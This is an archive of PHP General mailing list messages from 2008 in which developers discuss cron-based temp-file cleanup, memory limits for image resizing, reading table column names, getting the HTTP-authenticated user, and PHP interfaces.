On Wed, Apr 16, 2008 at 10:05 AM, Nathan Nobbe [EMAIL PROTECTED] wrote: On Wed, Apr 16, 2008 at 7:59 AM, Andrew Ballard [EMAIL PROTECTED] wrote: In addition to the added time, aren't there any problems with race conditions if two users try to create a file at the same time and each user's script tries to clean the same files at the same time? ergo, the need to name the files differently; or provide a separate namespace, such as a per-user sub-directory. Do you want to play around with a quick demo account? I can set you up with temporary access to SSH and the web if you want to see what we're talking about. -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 9:56 AM, Nathan Nobbe [EMAIL PROTECTED] wrote: it sounds like thats what theyre talking about doing... [snip!] that way, you could get rid of them almost as quickly as they are created; you wont be overwriting any files for different users, and you have the garuantee that the sound bytes will no longer be required for use by the clients. because theyve gone to another page ;) and you eliminate any issue about knowing when the file has been completely downloaded by the client. A great idea if the audio is only being used as an embedded object within a page. However, if a developer wants to use the functions to create audio clips for another reason, the session expiration won't work. Conversely, if a developer wants to use the functions to create audio clips for another reason, he or she will probably already have a way of cleaning that up, as well! ;-P I suppose that further validates the idea. i would still consider a cron as a cleanup script tho... I still think it's the best and most responsible way. However, I'm also kicking around the idea of giving each member a larger private tmp directory, that can then be cleaned out using Thiago's idea - anything older than n hours is deleted by a function run from a root cron. And no, to those of you who are on my servers, it won't count against your disk quota. ;-P -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Memory limit of 8 MB not enough
At 9:41 AM -0400 4/16/08, Andrew Ballard wrote: On Wed, Apr 16, 2008 at 7:56 AM, tedd [EMAIL PROTECTED] wrote: At 6:48 PM +0900 4/16/08, Dave M G wrote: PHP list, I have a PHP script that resizes an image. It takes just about whatever size and shrinks and crops it down to 320X240. I've found that these days, it's not uncommon for people to take images straight off their digital camera, which can be 3000X2000 pixels in image size, even if the jpeg file containing the image is only 200 KB. When working with the image, it gets uncompressed and takes up a lot of memory. You might want to look into using javascript to trim the file down to a respectable size before uploading. Cheers, tedd I'd be interested in seeing an example of how you actually plan on doing that, Tedd. JavaScript can't access the file from an input field, and I'm not aware of any JavaScript image handling functions either. Andrew I saw one the other day that caught my eye -- will look into it. Cheers, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 10:05 AM, Nathan Nobbe [EMAIL PROTECTED] wrote: On Wed, Apr 16, 2008 at 7:59 AM, Andrew Ballard [EMAIL PROTECTED] wrote: In addition to the added time, aren't there any problems with race conditions if two users try to create a file at the same time and each user's script tries to clean the same files at the same time? ergo, the need to name the files differently; or provide a separate namespace, such as a per-user sub-directory. -nathan It's a start, but what about a user who never returns? You still want some way to clean out those old files, and I think that's the approach Thiago was presenting by purging all files older than X days/hours/minutes. Such a script would have to scan the entire space regardless of namespace. I think this points us toward cron rather than potentially having two simultaneous client processes both looping through the same directory trying to delete files. Andrew -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 7:59 AM, Andrew Ballard [EMAIL PROTECTED] wrote: In addition to the added time, aren't there any problems with race conditions if two users try to create a file at the same time and each user's script tries to clean the same files at the same time? ergo, the need to name the files differently; or provide a separate namespace, such as a per-user sub-directory. -nathan
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 9:53 AM, Daniel Brown [EMAIL PROTECTED] wrote: On Wed, Apr 16, 2008 at 9:37 AM, Thiago Pojda [EMAIL PROTECTED] wrote: I don't know if I'm just lazy or stupid (or both). Stupid, definitely not. Lazy well, maybe. ;-P I went into a similar issue few weeks ago and my solution was to add a function to delete files created in the last X hours (mine was 24), and call it on the same script that creates the files. Which means it tries to clean up old files every time it creates a new one. Is that any good for you guys? It's a great idea in theory, but my concern is the duration in which the files are unlink()'d from the system; the function is called when another file is created - presumably when another user accesses the page - which then lengthens the time before each user after the first will be able to see the end result. In addition to the added time, aren't there any problems with race conditions if two users try to create a file at the same time and each user's script tries to clean the same files at the same time? Andrew -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 7:53 AM, Daniel Brown [EMAIL PROTECTED] wrote: On Wed, Apr 16, 2008 at 9:37 AM, Thiago Pojda [EMAIL PROTECTED] wrote: I don't know if I'm just lazy or stupid (or both). Stupid, definitely not. Lazy well, maybe. ;-P I went into a similar issue few weeks ago and my solution was to add a function to delete files created in the last X hours (mine was 24), and call it on the same script that creates the files. Which means it tries to clean up old files every time it creates a new one. Is that any good for you guys? It's a great idea in theory, but my concern is the duration in which the files are unlink()'d from the system; the function is called when another file is created - presumably when another user accesses the page - which then lengthens the time before each user after the first will be able to see the end result. well since i dont have your service dan, im filling in blanks over here; but, do users get to determine the name of the files that get created by this script, or at least rename them; that could be very beneficial. run on sentence #2 ;D -nathan
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 8:07 AM, Daniel Brown [EMAIL PROTECTED] wrote: On Wed, Apr 16, 2008 at 9:59 AM, Nathan Nobbe [EMAIL PROTECTED] wrote: well since i dont have your service dan, im filling in blanks over here; but, do users get to determine the name of the files that get created by this script, or at least rename them; that could be very beneficial. Invalid. You went from a statement, to the posing of a question, to a semi-colonic (pardon the pun!) statement again. :-D sounds like ur better at english than i; but then again i was always waiting for the spell checkers to get decent when i was a kid so i could just let them handle it for me. laziness. In any case, yes: the filename can be determined by the user at the time of the function call. And the file can be renamed, as well; it's placed wherever the user specifies (provided he or she has subsequent permission to write to the location, of course). sounds good. run on sentence #2 ;D You are the weakest link. Goodbye! have your bitter posting days started early ? :P -nathan
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 8:02 AM, Daniel Brown [EMAIL PROTECTED] wrote: On Wed, Apr 16, 2008 at 9:56 AM, Nathan Nobbe [EMAIL PROTECTED] wrote: it sounds like thats what theyre talking about doing... [snip!] that way, you could get rid of them almost as quickly as they are created; you wont be overwriting any files for different users, and you have the garuantee that the sound bytes will no longer be required for use by the clients. because theyve gone to another page ;) and you eliminate any issue about knowing when the file has been completely downloaded by the client. A great idea if the audio is only being used as an embedded object within a page. However, if a developer wants to use the functions to create audio clips for another reason, the session expiration won't work. fair enough; but i did address all the aforementioned concerns. you threw that one at me from left field :D Conversely, if a developer wants to use the functions to create audio clips for another reason, he or she will probably already have a way of cleaning that up, as well! ;-P I suppose that further validates the idea. i would still consider a cron as a cleanup script tho... I still think it's the best and most responsible way. However, I'm also kicking around the idea of giving each member a larger private tmp directory, that can then be cleaned out using Thiago's idea - anything older than n hours is deleted by a function run from a root cron. i thought this was pretty much what tedd was doing in the first place. i mean what else do you do w/ a cleanup script? you have to clean the files that are no longer in use.. And no, to those of you who are on my servers, it won't count against your disk quota. ;-P good man. -nathan
Re: [PHP] Memory limit of 8 MB not enough
Daniel Brown wrote: On Wed, Apr 16, 2008 at 9:57 AM, Per Jessen [EMAIL PROTECTED] wrote: Daniel Brown wrote: And on a shared host, the likelihood of increased billing for overuse of memory. Except a shared hoster would probably not permit anyone to change php.ini :-) I do. A lot of them do. I'm curious - why? To me php.ini seems to be exactly the kind of thing you wouldn't the user to fiddle with - in a shared environment. /Per Jessen, Zürich -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Database abstraction?
Hi Everyone! I'm back with yet another question But getting closer to sounding like I know what I'm talking about and that's all thanks to all of you. A free beer (Or beverage of choice)* for everyone who has helped me over the years! Here's my question... I have a program, where I want to take out the field names in a database table and display them... In other words instead of writing: $Query =SELECT First, Last, Middle, Add1 FROM mytable order by $order; I want to write something more like: $Query =SELECT $FIELDNAMES FROM mytable order by $order; So I need to know how to get the field names from the database so that I can populate $FIELDNAMES. I played a little bit and it looks like I might be able to get what I want by doing 2 queries... $QueryFieldNames = DESCRIBE $table; And then some sort of a foreach or maybe a while to populate $FIELDNAMES? Maybe an array so I could do $FIELDNAMES['First'] if I needed to later. then I can use my SELECT $FIELDNAMES FROM $table order by $order query to do my query... Am I on the right path? Way off base? Not even in the ball park? Hopefully it makes sense... Cause it's right on the edge of my knowledge so I'm not totally sure how to ask it right yet :) *Assuming wife 2.0.198BETA approves... -- Jason Pruim Raoset Inc. Technology Manager MQC Specialist 3251 132nd ave Holland, MI, 49424-9337 www.raoset.com [EMAIL PROTECTED] -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 10:18 AM, Andrew Ballard [EMAIL PROTECTED] wrote: What was the name of your company again? blindeyehosting.com? ;-) No, we had to change the name, so we went with a more obscure reference: piratepatchhosting.name. ;-P -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Database abstraction?
On 4/16/08, Jason Pruim [EMAIL PROTECTED] wrote: Hi Everyone! I'm back with yet another question But getting closer to sounding like I know what I'm talking about and that's all thanks to all of you. A free beer (Or beverage of choice)* for everyone who has helped me over the years! Here's my question... I have a program, where I want to take out the field names in a database table and display them... In other words instead of writing: $Query =SELECT First, Last, Middle, Add1 FROM mytable order by $order; I want to write something more like: $Query =SELECT $FIELDNAMES FROM mytable order by $order; So I need to know how to get the field names from the database so that I can populate $FIELDNAMES. I played a little bit and it looks like I might be able to get what I want by doing 2 queries... $QueryFieldNames = DESCRIBE $table; And then some sort of a foreach or maybe a while to populate $FIELDNAMES? Maybe an array so I could do $FIELDNAMES['First'] if I needed to later. then I can use my SELECT $FIELDNAMES FROM $table order by $order query to do my query... mysql_list_fileds came to mind, but this link states mysql_list_fileds is deprecated and suggests using mysql_query(show columns from table). http://us.php.net/manual/en/function.mysql-list-fields.php -- -David. When the power of love overcomes the love of power, the world will know peace. -Jimi Hendrix
Re: [PHP] Database abstraction?
I'm back with yet another question But getting closer to sounding like I know what I'm talking about and that's all thanks to all of you. A free beer (Or beverage of choice)* for everyone who has helped me over the years! I would prefer hard (or soft) cash... :-) Here's my question... I have a program, where I want to take out the field names in a database table and display them... In other words instead of writing: $Query =SELECT First, Last, Middle, Add1 FROM mytable order by $order; I want to write something more like: $Query =SELECT $FIELDNAMES FROM mytable order by $order; So I need to know how to get the field names from the database so that I can populate $FIELDNAMES. I played a little bit and it looks like I might be able to get what I want by doing 2 queries... $QueryFieldNames = DESCRIBE $table; And then some sort of a foreach or maybe a while to populate $FIELDNAMES? Maybe an array so I could do $FIELDNAMES['First'] if I needed to later. then I can use my SELECT $FIELDNAMES FROM $table order by $order query to do my query... Am I on the right path? Way off base? Not even in the ball park? Hopefully it makes sense... Cause it's right on the edge of my knowledge so I'm not totally sure how to ask it right yet :) You could do it adequately with a DESCRIBE, but there might be something that's better. I would suggest looking through the code of my TableEditor: http://www.phpguru.org/static/TableEditor.html -- Richard Heyes Employ me: http://www.phpguru.org/cv -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 8:46 AM, Daniel Brown [EMAIL PROTECTED] wrote: On Wed, Apr 16, 2008 at 10:18 AM, Andrew Ballard [EMAIL PROTECTED] wrote: What was the name of your company again? blindeyehosting.com? ;-) No, we had to change the name, so we went with a more obscure reference: piratepatchhosting.name. ;-P ive always been partial to brokensoftware.com, but someones actually beaten me to it :O -nathan
Re: [PHP] Memory limit of 8 MB not enough
On Wed, Apr 16, 2008 at 9:59 AM, tedd [EMAIL PROTECTED] wrote: At 9:41 AM -0400 4/16/08, Andrew Ballard wrote: On Wed, Apr 16, 2008 at 7:56 AM, tedd [EMAIL PROTECTED] wrote: At 6:48 PM +0900 4/16/08, Dave M G wrote: PHP list, I have a PHP script that resizes an image. It takes just about whatever size and shrinks and crops it down to 320X240. I've found that these days, it's not uncommon for people to take images straight off their digital camera, which can be 3000X2000 pixels in image size, even if the jpeg file containing the image is only 200 KB. When working with the image, it gets uncompressed and takes up a lot of memory. You might want to look into using javascript to trim the file down to a respectable size before uploading. Cheers, tedd I'd be interested in seeing an example of how you actually plan on doing that, Tedd. JavaScript can't access the file from an input field, and I'm not aware of any JavaScript image handling functions either. Andrew I saw one the other day that caught my eye -- will look into it. Cheers, tedd The first problem I see implementing the approach is the JavaScript sandbox. JavaScript is allowed to read the text of the input file field (and thus know the file name and path once a file has been selected); it cannot access the disk to actually get to the image or do anything with it. From here, I'm thinking there are a couple things you could do with JavaScript. The first would be to embed the image into the web page using an IMG tag, which would allow you to determine the pixel dimensions (but not the actual file size). The second would be what Gmail seems to do, and actually upload the form to their server with some sort of AJAX request, at which time your server could return information on the size of the file. However, if the file is too large, you're back to the original problem of needing to increase the RAM limit in PHP. The second problem is, as I said, I'm not aware of any JavaScript that can manipulate the image. JavaScript can cause the display of an image to be resized within the browser, but that doesn't actually affect the stored file. I don't know, but I guess if you could actually get to the bits, you could probably write an algorithm in JavaScript to resize an image by manipulating the bits, but I think it would be dreadfully slow if it would even run without running out of resources. I think the only pure-client options are either Java (which would require special permissions to get out of its own sandbox) or ActiveX. If you know of some other approach, I'd be interested to see how it works. Andrew -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Speech
Daniel Brown [EMAIL PROTECTED] wrote: On Wed, Apr 16, 2008 at 10:18 AM, Andrew Ballard [EMAIL PROTECTED] wrote: What was the name of your company again? blindeyehosting.com? ;-) No, we had to change the name, so we went with a more obscure reference: piratepatchhosting.name. ;-P -- That's better then jolley-rogering.inc ;) Of course, the brits are probably going to be a bit bent, such as the tongue-in-cheek happens to be. :-P I need to hop the pond and visit soon... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Speech
Nathan Nobbe [EMAIL PROTECTED] wrote: On Wed, Apr 16, 2008 at 8:46 AM, Daniel Brown [EMAIL PROTECTED] wrote: On Wed, Apr 16, 2008 at 10:18 AM, Andrew Ballard [EMAIL PROTECTED] wrote: What was the name of your company again? blindeyehosting.com? ;-) No, we had to change the name, so we went with a more obscure reference: piratepatchhosting.name. ;-P ive always been partial to brokensoftware.com, but someones actually beaten me to it :O brokensoftware.com redirects me to microsoft.com How cool is that!! And they wonder why people are petitioning for XP support until the next OS AFTER Vista... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Memory limit of 8 MB not enough
On Wed, Apr 16, 2008 at 10:36 AM, Per Jessen [EMAIL PROTECTED] wrote: I'm curious - why? To me php.ini seems to be exactly the kind of thing you wouldn't the user to fiddle with - in a shared environment. To allow flexibility for the user, and give them the opportunity to customize the account to their needs. The rest of the monitors and filters cover the server in case they do anything extremely stupid, but other than damaging their own things by turning register_globals on, or running their quotas to the limit allowed by the balancers (exceeding their allotted memory usage, for example), they can't damage the rest of the server. It should also be mentioned that all accounts on my servers are chroot'd (jailed), with suExec running for each. It's as if they're the only one on the server (such as with a VPS), but without root access, and with more limited resources. -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] How to get the HTTP authenticated user name?
On Wed, Apr 16, 2008 at 5:37 AM, Georgios Kasapoglou [EMAIL PROTECTED] wrote: Hi all, I'm new to the list. I'm running on Apache 2 and I want to use the mod_auth_basic module, which authenticates the user. But I need the username to use it in my php script. How can I? Is there any php command or variable that keeps this info? I searched my browser whether a cookie is created, but unfortunately there isn't STFA - This comes up every couple of months or so. http://marc.info/?w=2r=1s=php+auth+userq=t As Per indicated, it should be in $_SERVER. If memory serves correctly, it should be something like $_SERVER['AUTH_USER'] or $_SERVER['PHP_AUTH_USER']. -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Database abstraction?
On Wed, Apr 16, 2008 at 9:15 AM, Richard Heyes [EMAIL PROTECTED] wrote: off-subject (yes total thread robbery here [more of a side note really]). i saw a reference to some of your work in the Solar framework richard, for clearing out the 'environment' or rather the superglobal arrays. good stuff. Thanks (I think you're referring to clearing register_globals crapola). Credit also due to Stephan Esser. ya; (reposting for list) /** * * Generates a simple exception, but does not throw it. * * This method attempts to automatically load an exception class * based on the error code, falling back to parent exceptions * when no specific exception classes exist. For example, if a * class named 'Vendor_Example' extended from 'Vendor_Base' throws an * exception or error coded as 'ERR_FILE_NOT_FOUND', the method will Richard Heyes and Stefan Esser. * * @return void * */ public function cleanGlobals() { $list = array( 'GLOBALS', '_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES', ); // Create a list of all of the keys from the super-global values. // Use array_keys() here to preserve key integrity. $keys = array_merge( array_keys($_ENV), array_keys($_GET), array_keys($_POST), array_keys($_COOKIE), array_keys($_SERVER), array_keys($_FILES), // $_SESSION is null if you have not started the session yet. // This insures that a check is performed regardless. isset($_SESSION) is_array($_SESSION) ? array_keys($_SESSION) : array() ); // Unset the globals. foreach ($keys as $key) { if (isset($GLOBALS[$key]) ! in_array($key, $list)) { unset($GLOBALS[$key]); } } } hope ya dont mind if i borrow that one :D i was reading through it, and i was like; holy shit; that dudes from the list !! btw, i talked to the guy who wrote solar, when i was in dc last year. really cool fellow; but i talked his ear off :O -nathan
Re: [PHP] How to get the HTTP authenticated user name?
Thanks Daniel, I found it in $_SERVER[REMOTE_USER] but $_SERVER[PHP_AUTH_USER] (which you propose) gives me the same information. Regards, Georgios Daniel Brown wrote: On Wed, Apr 16, 2008 at 5:37 AM, Georgios Kasapoglou [EMAIL PROTECTED] wrote: Hi all, I'm new to the list. I'm running on Apache 2 and I want to use the mod_auth_basic module, which authenticates the user. But I need the username to use it in my php script. How can I? Is there any php command or variable that keeps this info? I searched my browser whether a cookie is created, but unfortunately there isn't STFA - This comes up every couple of months or so. http://marc.info/?w=2r=1s=php+auth+userq=t As Per indicated, it should be in $_SERVER. If memory serves correctly, it should be something like $_SERVER['AUTH_USER'] or $_SERVER['PHP_AUTH_USER']. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 10:58 AM, Wolf [EMAIL PROTECTED] wrote: Nathan Nobbe [EMAIL PROTECTED] wrote: ive always been partial to brokensoftware.com, but someones actually beaten me to it :O brokensoftware.com redirects me to microsoft.com How cool is that!! And they wonder why people are petitioning for XP support until the next OS AFTER Vista... I didn't enjoy the same response. It brought me to someone's personal link collection, but didn't load properly because browsers STILL hang on bad HTML when a third server - in this case, like many, an advertisement server - doesn't respond properly. However, clicking the Microsoft link directs you to a page that was done for Internet Exploder 4.0 (http://www.microsoft.com/ie40.asp), and Microsoft already 404'd that. -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Database abstraction?
On Wed, 16 Apr 2008 10:43:15 -0400, Jason Pruim [EMAIL PROTECTED] wrote: Hi Everyone! I'm back with yet another question But getting closer to sounding like I know what I'm talking about and that's all thanks to all of you. A free beer (Or beverage of choice)* for everyone who has helped me over the years! Here's my question... I have a program, where I want to take out the field names in a database table and display them... In other words instead of writing: $Query =SELECT First, Last, Middle, Add1 FROM mytable order by $order; I want to write something more like: $Query =SELECT $FIELDNAMES FROM mytable order by $order; So I need to know how to get the field names from the database so that I can populate $FIELDNAMES. I played a little bit and it looks like I might be able to get what I want by doing 2 queries... $QueryFieldNames = DESCRIBE $table; And then some sort of a foreach or maybe a while to populate $FIELDNAMES? Maybe an array so I could do $FIELDNAMES['First'] if I needed to later. then I can use my SELECT $FIELDNAMES FROM $table order by $order query to do my query... Am I on the right path? Way off base? Not even in the ball park? Hopefully it makes sense... Cause it's right on the edge of my knowledge so I'm not totally sure how to ask it right yet :) PDO syntax: $result = $db-query(SELECT * FROM mytable ORDER BY . $order_field); $result-setFetchMode(PDO::FETCH_ASSOC); foreach ($result as $record) { print OMG, I have an associative array!; } http://us3.php.net/manual/en/pdostatement.fetch.php *Assuming wife 2.0.198BETA approves... Any program that is interfering with a vital system operation like that should be uninstalled until it is fixed. --Larry Garfield -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Database abstraction?
off-subject (yes total thread robbery here [more of a side note really]). i saw a reference to some of your work in the Solar framework richard, for clearing out the 'environment' or rather the superglobal arrays. good stuff. Thanks (I think you're referring to clearing register_globals crapola). Credit also due to Stephan Esser. -- Richard Heyes Employ me: http://www.phpguru.org/cv -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Database abstraction?
On Wed, Apr 16, 2008 at 8:55 AM, Richard Heyes [EMAIL PROTECTED] wrote: I'm back with yet another question But getting closer to sounding like I know what I'm talking about and that's all thanks to all of you. A free beer (Or beverage of choice)* for everyone who has helped me over the years! I would prefer hard (or soft) cash... :-) You could do it adequately with a DESCRIBE, but there might be something that's better. I would suggest looking through the code of my TableEditor: off-subject (yes total thread robbery here [more of a side note really]). i saw a reference to some of your work in the Solar framework richard, for clearing out the 'environment' or rather the superglobal arrays. good stuff. -nathan
Re: [PHP] Database abstraction?
Assuming a recent release of MySQL: open the schema information_schema then select TABLE_NAME, COLUMN_NAME from COLUMNS where TABLE_NAME = '$table'; Steve On Wed, Apr 16, 2008 at 10:55 AM, Richard Heyes [EMAIL PROTECTED] wrote: I'm back with yet another question But getting closer to sounding like I know what I'm talking about and that's all thanks to all of you. A free beer (Or beverage of choice)* for everyone who has helped me over the years! I would prefer hard (or soft) cash... :-) Here's my question... I have a program, where I want to take out the field names in a database table and display them... In other words instead of writing: $Query =SELECT First, Last, Middle, Add1 FROM mytable order by $order; I want to write something more like: $Query =SELECT $FIELDNAMES FROM mytable order by $order; So I need to know how to get the field names from the database so that I can populate $FIELDNAMES. I played a little bit and it looks like I might be able to get what I want by doing 2 queries... $QueryFieldNames = DESCRIBE $table; And then some sort of a foreach or maybe a while to populate $FIELDNAMES? Maybe an array so I could do $FIELDNAMES['First'] if I needed to later. then I can use my SELECT $FIELDNAMES FROM $table order by $order query to do my query... Am I on the right path? Way off base? Not even in the ball park? Hopefully it makes sense... Cause it's right on the edge of my knowledge so I'm not totally sure how to ask it right yet :) You could do it adequately with a DESCRIBE, but there might be something that's better. I would suggest looking through the code of my TableEditor: http://www.phpguru.org/static/TableEditor.html -- Richard Heyes Employ me: http://www.phpguru.org/cv -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- There is no greater gift to an insecure leader that quite matches a vague enemy who can be used to whip up fear and hatred among the population. -Paul Rusesabagina, humanitarian (b. 1954) Human beings are perhaps never more frightening than when they are convinced beyond doubt that they are right. -Laurens van der Post, explorer and writer (1906-1996)
Re: [PHP] Memory limit of 8 MB not enough
Daniel Brown wrote: On Wed, Apr 16, 2008 at 10:36 AM, Per Jessen [EMAIL PROTECTED] wrote: I'm curious - why? To me php.ini seems to be exactly the kind of thing you wouldn't the user to fiddle with - in a shared environment. To allow flexibility for the user, and give them the opportunity to customize the account to their needs. I guess it's a matter of preference - I tend to think that a shared hosting user is best restricted to whatever changes he can do in .htaccess (with php_admin_flag etc.). Mind you, it's not like I have hundreds of hosting customers, so maybe my horizont is a little limited here. /Per Jessen, Zürich -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Memory limit of 8 MB not enough
At 10:53 AM -0400 4/16/08, Andrew Ballard wrote: On Wed, Apr 16, 2008 at 9:59 AM, tedd [EMAIL PROTECTED] wrote: I saw one the other day that caught my eye -- will look into it. The first problem I see implementing the approach is the JavaScript sandbox. JavaScript is allowed to read the text of the input file field (and thus know the file name and path once a file has been selected); it cannot access the disk to actually get to the image or do anything with it. From here, I'm thinking there are a couple things you could do with JavaScript. The first would be to embed the image into the web page using an IMG tag, which would allow you to determine the pixel dimensions (but not the actual file size). The second would be what Gmail seems to do, and actually upload the form to their server with some sort of AJAX request, at which time your server could return information on the size of the file. However, if the file is too large, you're back to the original problem of needing to increase the RAM limit in PHP. The second problem is, as I said, I'm not aware of any JavaScript that can manipulate the image. JavaScript can cause the display of an image to be resized within the browser, but that doesn't actually affect the stored file. I don't know, but I guess if you could actually get to the bits, you could probably write an algorithm in JavaScript to resize an image by manipulating the bits, but I think it would be dreadfully slow if it would even run without running out of resources. I think the only pure-client options are either Java (which would require special permissions to get out of its own sandbox) or ActiveX. If you know of some other approach, I'd be interested to see how it works. Andrew Andrew: I think you are right -- I wasn't able to resize the image. Here's the link that caught my eye, but it doesn't work as described: http://javascript.internet.com/forms/image-upload-preview.html Cheers, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com
Re: [PHP] Memory limit of 8 MB not enough
On Wed, Apr 16, 2008 at 11:42 AM, Per Jessen [EMAIL PROTECTED] wrote: Daniel Brown wrote: I guess it's a matter of preference - I tend to think that a shared hosting user is best restricted to whatever changes he can do in .htaccess (with php_admin_flag etc.). I allow overrides in .htaccess, too. Not sure what your thinking is on that. Mind you, it's not like I have hundreds of hosting customers, so maybe my horizont is a little limited here. I don't have hundreds right now either. I had a company several years ago, which I've since sold, that had about three hundred accounts, but any more, I like to keep lower numbers per server. -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] What is the practical use of abstract and interface?
[snip] What about encapsulation? Interfaces have nothing to do with encapsulation for the smple reason that I can have encapsulation without using interfaces. Also, there is an advantage to interfaces that has not been mentioned yet, the fact that a class can implement multiple interfaces (polymorphism). Interfaces have nothing to do with polymorphism for the smple reason that I can have polymorphism without using interfaces. And yes, I know that I can extend by inheritance to create polymorphism too, but what is the most efficient method? It depends on the application. Like anything else interfaces are a tool and there may be multiple tools that can accomplish the same job (i.e. table saw, band saw, hand saw). Pick the one that is right for you. You are still missing the fundamental point. There is absolutely nothing I can do WITH interfaces that I cannot do WITHOUT them, therefore they are redundant. [/snip] I never said that they were not redundant, I acknowledged that they were. I you can do without them or choose to do without them then that totally up to you. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Memory limit of 8 MB not enough
On 4/16/08, tedd [EMAIL PROTECTED] wrote: At 10:53 AM -0400 4/16/08, Andrew Ballard wrote: On Wed, Apr 16, 2008 at 9:59 AM, tedd [EMAIL PROTECTED] wrote: I saw one the other day that caught my eye -- will look into it. The first problem I see implementing the approach is the JavaScript sandbox. JavaScript is allowed to read the text of the input file field (and thus know the file name and path once a file has been selected); it cannot access the disk to actually get to the image or do anything with it. From here, I'm thinking there are a couple things you could do with JavaScript. The first would be to embed the image into the web page using an IMG tag, which would allow you to determine the pixel dimensions (but not the actual file size). The second would be what Gmail seems to do, and actually upload the form to their server with some sort of AJAX request, at which time your server could return information on the size of the file. However, if the file is too large, you're back to the original problem of needing to increase the RAM limit in PHP. The second problem is, as I said, I'm not aware of any JavaScript that can manipulate the image. JavaScript can cause the display of an image to be resized within the browser, but that doesn't actually affect the stored file. I don't know, but I guess if you could actually get to the bits, you could probably write an algorithm in JavaScript to resize an image by manipulating the bits, but I think it would be dreadfully slow if it would even run without running out of resources. I think the only pure-client options are either Java (which would require special permissions to get out of its own sandbox) or ActiveX. If you know of some other approach, I'd be interested to see how it works. Andrew Andrew: I think you are right -- I wasn't able to resize the image. Here's the link that caught my eye, but it doesn't work as described: http://javascript.internet.com/forms/image-upload-preview.html Cheers, tedd -- It worked for me using IE on XP. David
[PHP] Hack question
